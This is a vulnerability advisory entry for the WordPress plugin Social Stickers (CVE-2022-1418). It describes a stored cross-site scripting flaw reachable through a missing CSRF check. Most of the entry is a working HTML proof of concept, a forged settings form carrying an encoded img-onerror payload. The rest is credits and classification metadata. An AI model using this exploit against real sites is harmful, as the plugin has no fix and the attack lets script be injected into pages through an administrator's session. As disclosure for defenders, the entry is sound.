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Social Stickers <= 2.2.9 - Stored Cross-Site Scripting via CSRF

Description

The plugin does not have CSRF checks in place when updating its Social Network settings, and does not escape some of these fields, which could allow attackers to make a logged-in admin change them and lead to Stored Cross-Site Scripting issues.

Proof of Concept

<html>
<body>
<script>history.pushState('', '', '/')</script>

<form action="http://localhost/wordpress/wp-admin/options-general.php?page=social-
stickers%2Fsocial-stickers.php&tab=social_networks" method="POST">

<input type="hidden" name="aim" value="" />

<input type="hidden" name="behance"
value="hello&#32;&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;9
&#41;&gt;" />
<input type="hidden" name="bebo" value="" />
<input type="hidden" name="blogger" value="" />
<input type="hidden" name="delicious" value="" />
<input type="hidden" name="designfloat" value="" />
<input type="hidden" name="deviantart" value="" />
<input type="hidden" name="digg" value="" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="flickr" value="" />
<input type="hidden" name="facebook" value="" />
<input type="hidden" name="googleplus" value="" />
<input type="hidden" name="lastfm" value="" />
<input type="hidden" name="linkedin" value="" />
<input type="hidden" name="myspace" value="" />
<input type="hidden" name="newsvine" value="" />
<input type="hidden" name="picasa" value="" />
<input type="hidden" name="posterous" value="" />
<input type="hidden" name="rss" value="" />
<input type="hidden" name="qik" value="" />
<input type="hidden" name="slashdot" value="" />
<input type="hidden" name="skype" value="" />
<input type="hidden" name="stumbleupon" value="" />
<input type="hidden" name="tumblr" value="" />
<input type="hidden" name="twitter" value="" />
<input type="hidden" name="vimeo" value="" />
<input type="hidden" name="youtube" value="" />
<input type="hidden" name="wordpress" value="" />
<input type="hidden" name="Submit" value="Update&#32;usernames" />
<input type="hidden" name="social&#45;stickers&#45;settings&#45;submit" value="Y" />
<input type="submit" value="Submit request" />
</form>
</body>
</html> 

Affects Plugins

social-stickers
No known fix - plugin closed

References

CVE
CVE-2022-1418

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Vinay Varma Mudunuri, Krishna Harsha Kondaveeti

Submitter

Vinay Varma Mudunuri

Verified

Yes

WPVDB ID
3851e61e-f462-4259-af0a-8d832809d559

Timeline

Publicly Published

2022-04-20 (about 2 months ago)

Added

2022-04-20 (about 2 months ago)

Last Updated

2022-04-21 (about 2 months ago)

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